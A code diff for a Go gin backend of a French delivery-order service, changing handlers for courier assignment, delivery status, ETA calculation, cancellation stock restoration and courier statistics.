// GET /api/v1/admin/delivery-persons/available
|
// GET /api/v1/admin/delivery-persons/available
|
||||||
func GetAvailableDeliveryPersons(c *gin.Context) {
|
func GetAvailableDeliveryPersons(c *gin.Context) {
|
||||||
@@ -632,7 +634,6 @@ func GetAvailableDeliveryPersons(c *gin.Context) {
|
|||||||
// Cabine: POST /api/v1/cabine/commands/:id/assign (body: {"livreur_username": "..."})
|
// Cabine: POST /api/v1/cabine/commands/:id/assign (body: {"livreur_username": "..."})
|
||||||
func AssignDeliveryPerson(c *gin.Context) {
|
func AssignDeliveryPerson(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
|
||||||
|
|
||||||
// ✅ SÉCURITÉ: Admin ou Cabine
|
// ✅ SÉCURITÉ: Admin ou Cabine
|
||||||
role := c.GetString("role")
|
role := c.GetString("role")
|
||||||
@@ -682,39 +683,6 @@ func AssignDeliveryPerson(c *gin.Context) {
|
|||||||
fmt.Sprintf("Livreur '%s' assigné manuellement par %s", livreurUsername, staffUsername),
|
fmt.Sprintf("Livreur '%s' assigné manuellement par %s", livreurUsername, staffUsername),
|
||||||
staffUsername.(string))
|
staffUsername.(string))
|
||||||
|
|
||||||
// Géocodage async : stocker les coords si absentes
|
|
||||||
go func() {
|
|
||||||
cmd, err := database.GetCommandByID(commandID)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
dLat, _ := cmd["dest_latitude"].(float64)
|
|
||||||
dLon, _ := cmd["dest_longitude"].(float64)
|
|
||||||
if dLat != 0 && dLon != 0 {
|
|
||||||
return // coords déjà présentes
|
|
||||||
}
|
|
||||||
adresse, _ := cmd["adresse"].(string)
|
|
||||||
if adresse == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
location, err := geoService.GeocodeAddress(adresse)
|
|
||||||
if err != nil || location == nil {
|
|
||||||
log.Printf("⚠️ [ASSIGN] Géocodage échoué pour cmd %d: %v", commandID, err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
|
||||||
"lat": location.Latitude,
|
|
||||||
"lon": location.Longitude,
|
|
||||||
})
|
|
||||||
destKey := fmt.Sprintf("command:destination:%d", commandID)
|
|
||||||
db.Redis.Set(db.RedisCtx, destKey, coordsJSON, 4*time.Hour)
|
|
||||||
database.GDB.Exec(
|
|
||||||
"UPDATE commandes SET dest_latitude = ?, dest_longitude = ? WHERE id = ?",
|
|
||||||
location.Latitude, location.Longitude, commandID,
|
|
||||||
)
|
|
||||||
log.Printf("📍 [ASSIGN] Coords stockées pour cmd %d: (%.6f, %.6f)", commandID, location.Latitude, location.Longitude)
|
|
||||||
}()
|
|
||||||
|
|
||||||
log.Printf("✅ [ASSIGN] Commande %d assignée à %s", commandID, livreurUsername)
|
log.Printf("✅ [ASSIGN] Commande %d assignée à %s", commandID, livreurUsername)
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
@@ -810,6 +778,13 @@ func GetClientCommandsHistory(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, resp)
|
c.JSON(http.StatusOK, resp)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// NOTIFICATIONS CLIENT
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// NotifyClientToDescend envoie une notification push au client pour descendre récupérer sa commande
|
||||||
|
// POST /api/v2/admin/protected/orders/:id/notify-client
|
||||||
|
// POST /api/v1/cabine/commands/:id/notify-client
|
||||||
func NotifyClientToDescend(c *gin.Context) {
|
func NotifyClientToDescend(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -1144,19 +1119,6 @@ func UpdateCommandStatusAdmin(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if req.Status == "cancelled" {
|
|
||||||
current, errCmd := database.GetCommandByID(commandID)
|
|
||||||
if errCmd == nil {
|
|
||||||
currentStatus, _ := current["status"].(string)
|
|
||||||
alreadyDone := currentStatus == "cancelled" || currentStatus == "approved" || currentStatus == "livre"
|
|
||||||
if !alreadyDone {
|
|
||||||
if err := database.RestoreCommandStock(commandID); err != nil {
|
|
||||||
log.Printf("⚠️ [STATUS_ADMIN] Erreur restauration stock cmd %d: %v", commandID, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||||
utils.ServerErr(c, "Impossible de mettre à jour le statut", err)
|
utils.ServerErr(c, "Impossible de mettre à jour le statut", err)
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -4,13 +4,11 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"gestion/db"
|
"gestion/db"
|
||||||
"gestion/services"
|
|
||||||
"gestion/utils"
|
"gestion/utils"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
@@ -35,7 +33,7 @@ func GetMyDeliveries(c *gin.Context) {
|
|||||||
commands, err := database.GetDeliveryPersonCommands(usernameStr, status)
|
commands, err := database.GetDeliveryPersonCommands(usernameStr, status)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur récupération",
|
"error": "Erreur récupération",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -60,26 +58,24 @@ func GetMyDeliveries(c *gin.Context) {
|
|||||||
itemsSummary := make([]gin.H, len(items))
|
itemsSummary := make([]gin.H, len(items))
|
||||||
for j, item := range items {
|
for j, item := range items {
|
||||||
itemsSummary[j] = gin.H{
|
itemsSummary[j] = gin.H{
|
||||||
"produit": item["produit"],
|
"produit": item["produit"],
|
||||||
"quantite": item["quantite"],
|
"quantite": item["quantite"],
|
||||||
"prix": item["prix"],
|
"prix": item["prix"],
|
||||||
"is_reward": item["is_reward"],
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
etaData, _ := database.GetCommandETA(commandID)
|
etaData, _ := database.GetCommandETA(commandID)
|
||||||
|
|
||||||
filteredCommands[i] = gin.H{
|
filteredCommands[i] = gin.H{
|
||||||
"id": cmd["id"],
|
"id": cmd["id"],
|
||||||
"status": cmd["status"],
|
"status": cmd["status"],
|
||||||
"adresse": cmd["adresse"],
|
"adresse": cmd["adresse"],
|
||||||
"total_prix": cmd["total_prix"],
|
"total_prix": cmd["total_prix"],
|
||||||
"referral_used": cmd["referral_used"],
|
"created_at": cmd["created_at"],
|
||||||
"created_at": cmd["created_at"],
|
"client_info": clientInfo,
|
||||||
"client_info": clientInfo,
|
"items": itemsSummary,
|
||||||
"items": itemsSummary,
|
"items_count": len(items),
|
||||||
"items_count": len(items),
|
"eta": etaData,
|
||||||
"eta": etaData,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -192,7 +188,7 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
|||||||
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Données invalides",
|
"error": "Données invalides",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -262,31 +258,11 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
|||||||
// Mettre à jour le statut
|
// Mettre à jour le statut
|
||||||
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur mise à jour",
|
"error": "Erreur mise à jour",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if req.Status == "cancelled" {
|
|
||||||
cancelMsg := req.Notes
|
|
||||||
if cancelMsg == "" {
|
|
||||||
cancelMsg = "Annulé par le livreur"
|
|
||||||
}
|
|
||||||
database.SetCommandCancelReason(commandID, fmt.Sprintf("[Livreur: %s] %s", usernameStr, cancelMsg))
|
|
||||||
|
|
||||||
prevStatus, _ := command["status"].(string)
|
|
||||||
if prevStatus == "arrived" || prevStatus == "livre" {
|
|
||||||
clientUsername, _ := command["username"].(string)
|
|
||||||
if clientUsername != "" {
|
|
||||||
if penalty, err := database.ApplyCancellationPenalty(clientUsername); err == nil {
|
|
||||||
log.Printf("⚠️ [CANCEL_LIVREUR] Amende %d appliquée à %s (client absent)", penalty, clientUsername)
|
|
||||||
} else {
|
|
||||||
log.Printf("⚠️ [CANCEL_LIVREUR] Erreur application amende pour %s: %v", clientUsername, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ SI PASSAGE EN "EN_ROUTE" → CALCULER ET DÉFINIR L'ETA
|
// ✅ SI PASSAGE EN "EN_ROUTE" → CALCULER ET DÉFINIR L'ETA
|
||||||
var etaMinutes int
|
var etaMinutes int
|
||||||
var etaMessage string
|
var etaMessage string
|
||||||
@@ -324,53 +300,28 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if destLat != 0 && destLon != 0 {
|
if destLat != 0 && destLon != 0 {
|
||||||
toCoords := services.Coordinates{Latitude: destLat, Longitude: destLon}
|
etaMinutes = database.CalculateETAForDeliveryman(usernameStr, destLat, destLon)
|
||||||
|
|
||||||
// Cas 1 : GPS du livreur disponible
|
if err := database.SetCommandETA(commandID, etaMinutes); err != nil {
|
||||||
gpsLat, gpsLon, gpsErr := database.GetDeliveryPersonLocation(usernameStr)
|
log.Printf("⚠️ [STATUS_LIVREUR] Erreur définition ETA: %v", err)
|
||||||
if gpsErr == nil && gpsLat != 0 {
|
|
||||||
from := services.Coordinates{Latitude: gpsLat, Longitude: gpsLon}
|
|
||||||
eta, _, err := services.GetETAWithTraffic(from, toCoords)
|
|
||||||
if err != nil {
|
|
||||||
eta = services.CalculateETA(services.CalculateDistance(from, toCoords))
|
|
||||||
}
|
|
||||||
etaMinutes = eta
|
|
||||||
log.Printf("📍 [STATUS_LIVREUR] ETA depuis GPS livreur: %d min", etaMinutes)
|
|
||||||
} else {
|
} else {
|
||||||
// Cas 2 : GPS absent → dernière adresse de livraison
|
log.Printf("✅ [STATUS_LIVREUR] ETA défini: %d minutes", etaMinutes)
|
||||||
lastLat, lastLon, lastErr := database.GetLastDeliveryCoords(usernameStr)
|
if etaMinutes >= 60 {
|
||||||
if lastErr == nil && lastLat != 0 {
|
h := etaMinutes / 60
|
||||||
from := services.Coordinates{Latitude: lastLat, Longitude: lastLon}
|
m := etaMinutes % 60
|
||||||
eta, _, err := services.GetETAWithTraffic(from, toCoords)
|
if m > 0 {
|
||||||
if err != nil {
|
etaMessage = fmt.Sprintf("Arrivée prévue dans %dh%02d", h, m)
|
||||||
eta = services.CalculateETA(services.CalculateDistance(from, toCoords))
|
} else {
|
||||||
|
etaMessage = fmt.Sprintf("Arrivée prévue dans %dh", h)
|
||||||
}
|
}
|
||||||
etaMinutes = eta
|
|
||||||
log.Printf("📍 [STATUS_LIVREUR] ETA depuis dernière livraison: %d min", etaMinutes)
|
|
||||||
} else {
|
} else {
|
||||||
// Cas 3 : Aucune position disponible
|
etaMessage = fmt.Sprintf("Arrivée prévue dans %d minutes", etaMinutes)
|
||||||
etaMinutes = 30
|
|
||||||
log.Printf("⚠️ [STATUS_LIVREUR] Aucune position disponible - ETA par défaut: %d min", etaMinutes)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
log.Printf("⚠️ [STATUS_LIVREUR] Coordonnées destination manquantes - ETA par défaut")
|
||||||
etaMinutes = 30
|
etaMinutes = 30
|
||||||
log.Printf("⚠️ [STATUS_LIVREUR] Coordonnées destination manquantes - ETA par défaut: %d min", etaMinutes)
|
database.SetCommandETA(commandID, etaMinutes)
|
||||||
}
|
|
||||||
|
|
||||||
database.SetCommandETA(commandID, etaMinutes)
|
|
||||||
log.Printf("✅ [STATUS_LIVREUR] ETA défini: %d minutes", etaMinutes)
|
|
||||||
|
|
||||||
if etaMinutes >= 60 {
|
|
||||||
h := etaMinutes / 60
|
|
||||||
m := etaMinutes % 60
|
|
||||||
if m > 0 {
|
|
||||||
etaMessage = fmt.Sprintf("Arrivée prévue dans %dh%02d", h, m)
|
|
||||||
} else {
|
|
||||||
etaMessage = fmt.Sprintf("Arrivée prévue dans %dh", h)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
etaMessage = fmt.Sprintf("Arrivée prévue dans %d minutes", etaMinutes)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Mettre à jour le statut du livreur en "delivering"
|
// Mettre à jour le statut du livreur en "delivering"
|
||||||
@@ -441,12 +392,8 @@ func UpdateDeliveryStatus(c *gin.Context) {
|
|||||||
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||||
|
|
||||||
case "cancelled":
|
case "cancelled":
|
||||||
|
// Annulation par le livreur - Nettoyer la queue
|
||||||
log.Printf("🚫 Livraison annulée par livreur - Nettoyage queue cmd %d", commandID)
|
log.Printf("🚫 Livraison annulée par livreur - Nettoyage queue cmd %d", commandID)
|
||||||
if err := database.RestoreCommandStock(commandID); err != nil {
|
|
||||||
log.Printf("⚠️ [STATUS_LIVREUR] Erreur restauration stock cmd %d: %v", commandID, err)
|
|
||||||
} else {
|
|
||||||
log.Printf("✅ [STATUS_LIVREUR] Stock restauré pour cmd %d", commandID)
|
|
||||||
}
|
|
||||||
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||||
|
|
||||||
case "arrived":
|
case "arrived":
|
||||||
@@ -525,119 +472,3 @@ func ReportDeliveryIssue(c *gin.Context) {
|
|||||||
log.Printf("📋 [ISSUE] Créé par %s pour commande #%d: %s", username, commandID, req.IssueType)
|
log.Printf("📋 [ISSUE] Créé par %s pour commande #%d: %s", username, commandID, req.IssueType)
|
||||||
c.JSON(http.StatusCreated, gin.H{"success": true, "issue": issue})
|
c.JSON(http.StatusCreated, gin.H{"success": true, "issue": issue})
|
||||||
}
|
}
|
||||||
|
|
||||||
// GET /api/v1/livreur/stats
|
|
||||||
func GetMyDeliveryStats(c *gin.Context) {
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
|
|
||||||
username, exists := c.Get("username")
|
|
||||||
if !exists {
|
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if c.GetString("role") != "livreur" {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
usernameStr := username.(string)
|
|
||||||
gdb := database.GDB
|
|
||||||
|
|
||||||
type DayRow struct {
|
|
||||||
Day time.Time `gorm:"column:day"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
}
|
|
||||||
type WeekRow struct {
|
|
||||||
WeekNum int `gorm:"column:week_num"`
|
|
||||||
Year int `gorm:"column:year"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
}
|
|
||||||
type MonthRow struct {
|
|
||||||
MonthNum int `gorm:"column:month_num"`
|
|
||||||
Year int `gorm:"column:year"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
}
|
|
||||||
|
|
||||||
var dayRows []DayRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT DATE(updated_at) AS day,
|
|
||||||
COUNT(*) AS count,
|
|
||||||
COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) AS revenue
|
|
||||||
FROM commandes
|
|
||||||
WHERE livreur_assign = ?
|
|
||||||
AND status IN ('livre', 'approved')
|
|
||||||
AND updated_at >= NOW() - INTERVAL '30 days'
|
|
||||||
GROUP BY DATE(updated_at)
|
|
||||||
ORDER BY day
|
|
||||||
`, usernameStr).Scan(&dayRows)
|
|
||||||
|
|
||||||
var weekRows []WeekRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT EXTRACT(WEEK FROM updated_at)::int AS week_num,
|
|
||||||
EXTRACT(YEAR FROM updated_at)::int AS year,
|
|
||||||
COUNT(*) AS count,
|
|
||||||
COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) AS revenue
|
|
||||||
FROM commandes
|
|
||||||
WHERE livreur_assign = ?
|
|
||||||
AND status IN ('livre', 'approved')
|
|
||||||
AND updated_at >= NOW() - INTERVAL '12 weeks'
|
|
||||||
GROUP BY week_num, year
|
|
||||||
ORDER BY year, week_num
|
|
||||||
`, usernameStr).Scan(&weekRows)
|
|
||||||
|
|
||||||
var monthRows []MonthRow
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT EXTRACT(MONTH FROM updated_at)::int AS month_num,
|
|
||||||
EXTRACT(YEAR FROM updated_at)::int AS year,
|
|
||||||
COUNT(*) AS count,
|
|
||||||
COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) AS revenue
|
|
||||||
FROM commandes
|
|
||||||
WHERE livreur_assign = ?
|
|
||||||
AND status IN ('livre', 'approved')
|
|
||||||
AND updated_at >= NOW() - INTERVAL '12 months'
|
|
||||||
GROUP BY month_num, year
|
|
||||||
ORDER BY year, month_num
|
|
||||||
`, usernameStr).Scan(&monthRows)
|
|
||||||
|
|
||||||
monthNames := [13]string{"", "Jan", "Fév", "Mar", "Avr", "Mai", "Jun", "Jul", "Aoû", "Sep", "Oct", "Nov", "Déc"}
|
|
||||||
|
|
||||||
byDay := make([]gin.H, len(dayRows))
|
|
||||||
for i, r := range dayRows {
|
|
||||||
byDay[i] = gin.H{
|
|
||||||
"label": r.Day.Format("02/01"),
|
|
||||||
"count": r.Count,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
byWeek := make([]gin.H, len(weekRows))
|
|
||||||
for i, r := range weekRows {
|
|
||||||
byWeek[i] = gin.H{
|
|
||||||
"label": fmt.Sprintf("S%d", r.WeekNum),
|
|
||||||
"count": r.Count,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
byMonth := make([]gin.H, len(monthRows))
|
|
||||||
for i, r := range monthRows {
|
|
||||||
label := "?"
|
|
||||||
if r.MonthNum >= 1 && r.MonthNum <= 12 {
|
|
||||||
label = monthNames[r.MonthNum]
|
|
||||||
}
|
|
||||||
byMonth[i] = gin.H{
|
|
||||||
"label": label,
|
|
||||||
"count": r.Count,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"by_day": byDay,
|
|
||||||
"by_week": byWeek,
|
|
||||||
"by_month": byMonth,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -11,7 +11,6 @@ import (
|
|||||||
"gestion/utils"
|
"gestion/utils"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -40,7 +39,7 @@ func GetDeliveryPersonDetails(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [GET_DELIVERY_DETAILS] Livreur non trouvé: %v", err)
|
log.Printf("❌ [GET_DELIVERY_DETAILS] Livreur non trouvé: %v", err)
|
||||||
c.JSON(http.StatusNotFound, gin.H{
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
"error": "Livreur non trouvé",
|
"error": "Livreur non trouvé",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -117,14 +116,22 @@ func UpdateDeliveryPersonStatusAdmin(c *gin.Context) {
|
|||||||
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Statut requis",
|
"error": "Statut requis",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Valider le statut
|
||||||
validStatuses := []string{"available", "busy", "offline"}
|
validStatuses := []string{"available", "busy", "offline"}
|
||||||
|
isValid := false
|
||||||
|
for _, vs := range validStatuses {
|
||||||
|
if req.Status == vs {
|
||||||
|
isValid = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if !slices.Contains(validStatuses, req.Status) {
|
if !isValid {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Statut invalide",
|
"error": "Statut invalide",
|
||||||
"valid_statuses": validStatuses,
|
"valid_statuses": validStatuses,
|
||||||
@@ -153,7 +160,7 @@ func UpdateDeliveryPersonStatusAdmin(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Erreur mise à jour: %v", err)
|
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Erreur mise à jour: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur mise à jour statut",
|
"error": "Erreur mise à jour statut",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -314,7 +321,7 @@ func GetDeliveryPersonHistory(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [GET_DELIVERY_HISTORY] Erreur récupération: %v", err)
|
log.Printf("❌ [GET_DELIVERY_HISTORY] Erreur récupération: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur récupération historique",
|
"error": "Erreur récupération historique",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -361,7 +368,7 @@ func UpdateDeliveryPersonLocationAdmin(c *gin.Context) {
|
|||||||
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"error": "Coordonnées GPS requises",
|
"error": "Coordonnées GPS requises",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -408,7 +415,7 @@ func UpdateDeliveryPersonLocationAdmin(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Erreur mise à jour: %v", err)
|
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Erreur mise à jour: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur mise à jour position",
|
"error": "Erreur mise à jour position",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -430,6 +437,12 @@ func UpdateDeliveryPersonLocationAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 🗑️ REMOVE COMMAND FROM QUEUE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// RemoveCommandFromQueue retire une commande de la queue d'un livreur
|
||||||
|
// DELETE /api/v2/admin/protected/delivery-persons/:username/queue/:command_id
|
||||||
func RemoveCommandFromQueue(c *gin.Context) {
|
func RemoveCommandFromQueue(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -461,6 +474,9 @@ func RemoveCommandFromQueue(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("🗑️ [REMOVE_FROM_QUEUE] Suppression: cmd %d de la queue de %s", commandID, username)
|
log.Printf("🗑️ [REMOVE_FROM_QUEUE] Suppression: cmd %d de la queue de %s", commandID, username)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// Vérifier que le livreur existe
|
||||||
|
// ============================================
|
||||||
livreur, err := database.GetUserByUsername(username)
|
livreur, err := database.GetUserByUsername(username)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Livreur non trouvé")
|
log.Printf("❌ [REMOVE_FROM_QUEUE] Livreur non trouvé")
|
||||||
@@ -475,6 +491,9 @@ func RemoveCommandFromQueue(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// Vérifier que la commande existe
|
||||||
|
// ============================================
|
||||||
command, err := database.GetCommandByID(commandID)
|
command, err := database.GetCommandByID(commandID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Commande non trouvée")
|
log.Printf("❌ [REMOVE_FROM_QUEUE] Commande non trouvée")
|
||||||
@@ -482,15 +501,19 @@ func RemoveCommandFromQueue(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// Retirer de la queue
|
||||||
|
// ============================================
|
||||||
err = database.RemoveCommandFromDeliverymanQueue(username, commandID)
|
err = database.RemoveCommandFromDeliverymanQueue(username, commandID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [REMOVE_FROM_QUEUE] Erreur suppression: %v", err)
|
log.Printf("❌ [REMOVE_FROM_QUEUE] Erreur suppression: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur suppression de la queue",
|
"error": "Erreur suppression de la queue",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Optionnel: Réassigner la commande en "pending"
|
||||||
currentStatus, _ := command["status"].(string)
|
currentStatus, _ := command["status"].(string)
|
||||||
if currentStatus == "assigned" || currentStatus == "en_route" {
|
if currentStatus == "assigned" || currentStatus == "en_route" {
|
||||||
err = database.UpdateCommandStatus(commandID, "pending")
|
err = database.UpdateCommandStatus(commandID, "pending")
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/eta_handler_corrected.go
|
||||||
|
// CORRECTION: ETA visible UNIQUEMENT après en_route
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -13,42 +18,6 @@ import (
|
|||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
// returnStaleOrUnavailable retourne le cache périmé avec le temps restant recalculé,
|
|
||||||
// ou {eta_available: false, message: "Aucune heure disponible"} si le cache est absent ou expiré.
|
|
||||||
func returnStaleOrUnavailable(commandID int, status string, etaData map[string]string) gin.H {
|
|
||||||
if len(etaData) > 0 {
|
|
||||||
if updatedAtStr, ok := etaData["updated_at"]; ok {
|
|
||||||
var updatedAt int64
|
|
||||||
fmt.Sscanf(updatedAtStr, "%d", &updatedAt)
|
|
||||||
var etaMin int64
|
|
||||||
if etaStr, ok2 := etaData["eta_minutes"]; ok2 {
|
|
||||||
fmt.Sscanf(etaStr, "%d", &etaMin)
|
|
||||||
}
|
|
||||||
elapsed := int64(time.Since(time.Unix(updatedAt, 0)).Minutes())
|
|
||||||
remaining := etaMin - elapsed
|
|
||||||
if remaining > 0 {
|
|
||||||
arrival := time.Now().Add(time.Duration(remaining) * time.Minute)
|
|
||||||
log.Printf("📦 [ETA] Cache périmé utilisé - %d min restantes", remaining)
|
|
||||||
return gin.H{
|
|
||||||
"success": true,
|
|
||||||
"command_id": commandID,
|
|
||||||
"status": status,
|
|
||||||
"eta_minutes": remaining,
|
|
||||||
"estimated_arrival": arrival.Format("15:04"),
|
|
||||||
"eta_available": true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return gin.H{
|
|
||||||
"success": true,
|
|
||||||
"command_id": commandID,
|
|
||||||
"status": status,
|
|
||||||
"eta_available": false,
|
|
||||||
"message": "Aucune heure disponible",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetOrderETA(c *gin.Context) {
|
func GetOrderETA(c *gin.Context) {
|
||||||
